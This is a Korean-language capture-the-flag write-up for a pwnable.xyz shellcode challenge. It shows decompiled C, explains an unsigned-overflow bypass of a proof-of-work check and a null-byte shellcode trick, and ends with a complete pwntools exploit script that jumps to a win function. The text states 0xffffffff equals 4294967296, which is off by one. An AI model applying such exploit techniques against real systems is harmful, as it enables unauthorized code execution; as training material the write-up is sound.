1. 문제
1) mitigation 확인
초록
2) 문제 확인
형태는 v1과 동일하다.
3) 코드 확인
•
solve_pow() 함수
unsigned __int64 solve_pow()
{
unsigned int buf; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
buf = 0;
read(fd, &buf, 4uLL);
close(fd);
v2 = 0;
v3 = 0;
printf("POW: x + y == 0x%x\n", buf);
printf("> ");
if ( (unsigned int)_isoc99_scanf("%u %u", &v2, &v3) != 2 || !v2 || !v3 )
{
puts("error");
exit(1);
}
getchar();
if ( v3 + v2 != buf )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(v2 * v3);
return __readfsqword(0x28u) ^ v5;
}
C
복사
이번에는 조건문이 추가되었다. v2와 v3가 0이면 안됀다는 것이다. 밑에 sleep(0) 으로 만들기 위해 v2 * v3 값을 0으로 만들어 줘야 한다.
2. 접근방법
우선 solve_pow()을 우회해야 한다. v2와 v3는 %u 포맷으로 들어가므로 unsigned int 형이다. 표현 범위는 0 ~ 0xffffffff 까지이다. 이를 넘어가면 다시 0으로 오버플로우가 되는데 우리는 이를 이용하면 된다. 0xffffffff은 10진수로 4294967296 이다. v2와 v3가 이 숫자의 배수가 되면 두 수의 곱은 0이 될 것이다.
4294967296 를 그대로 입력하면 0으로 들어가게 되므로 해당 숫자를 2로 나눈 값을 이용해야 한다. 2147483648 에다가 짝수를 곱하면 이는 4294967296 의 배수가 되기 때문에 다음과 같이 v2, v3를 설정하면 된다. 단 방금 말했듯이 buf가 짝수여야만 가능하다!
•
v2 = 2147483648
•
v3 = buf - 2147483648
이렇게 되면 v2 + v3 = buf 를 만족하면서, 2147483648 * 짝수 이기 때문에 v2*v3은 0이 된다.
그다음 이제 쉘코드를 작성해야 한다.
version 1 문제와 동일하게 strlen을 0으로 만들기 위해 첫 바이트를 널바이트로 넣어준다. 그다음, 적절한 값을 넣어서 에러가 나지 않게 한다. 나는 디버깅을 통해 "\x00"+"BB" 요렇게 첫 3바이트를 넣어주었다.
메인에서 대부분의 레지스터들을 xor 연산으로 초기화 시켜주는 로직이 있다. 현재 메인에서 입력 가능한 크기는 총 0x10이다. 이미 3바이트를 사용했기 때문에 13바이트가 사용 가능하다. syscall_read를 한번더 호출하여 입력할수 있는 사이즈를 크게 한뒤, execve 호출 혹은, flag 파일을 open하여 read한뒤, 다시 write하는 방법이 있다.
또다른 방법으로는 현재 쉘코드가 " call rdx " 로 실행이되는데 이때 다음 실행될 코드 주소를 스택에 push를 한다. 이를 이용해서 아무 레지스터에 pop 명령어로 박은다음, 해당 주소와 win 함수주소의 offset을 이용하여 win을 호출하는 방법이 존재한다.
3. 풀이
" call rdx " 가 시작되는 첫 부분이다. 현재 스택에 코드주소에서 0x2ce offset 만큼 떨어진 곳에 win함수가 있기 때문에 rax에 rsp 값을 저장한다음, 거기서 0x2ce를 빼준다음 jmp하면 끝이다
최종 익스코드는 다음과 같다
from pwn import *
#p=remote("svc.pwnable.xyz",30028)
context(log_level="DEBUG",arch="amd64",os="linux")
p=process("./challenge")
gdb.attach(p,'code\nb *0xE72+$code\n')
p.recvuntil("== ")
buf=int(p.recvuntil("\n")[:-1],16)
if buf%2 ==0:
log.info("!!!!!!!!!!!!!!!!!!!!!!!!!!")
tmp=2147483648
tmp2=buf-tmp
p.sendlineafter("> ",str(tmp)+' '+str(tmp2))
else:
pause()
payload="\x00"+"BB"
shell="pop rax;"
shell+="sub rax,0x2CE;"
shell+="jmp rax;"
shell=asm(shell)
#sleep(2)
p.recvuntil("Input: ")
pause()
p.sendline(payload+shell)
pause()
p.interactive()
Python
복사
4. 몰랐던 개념
•
none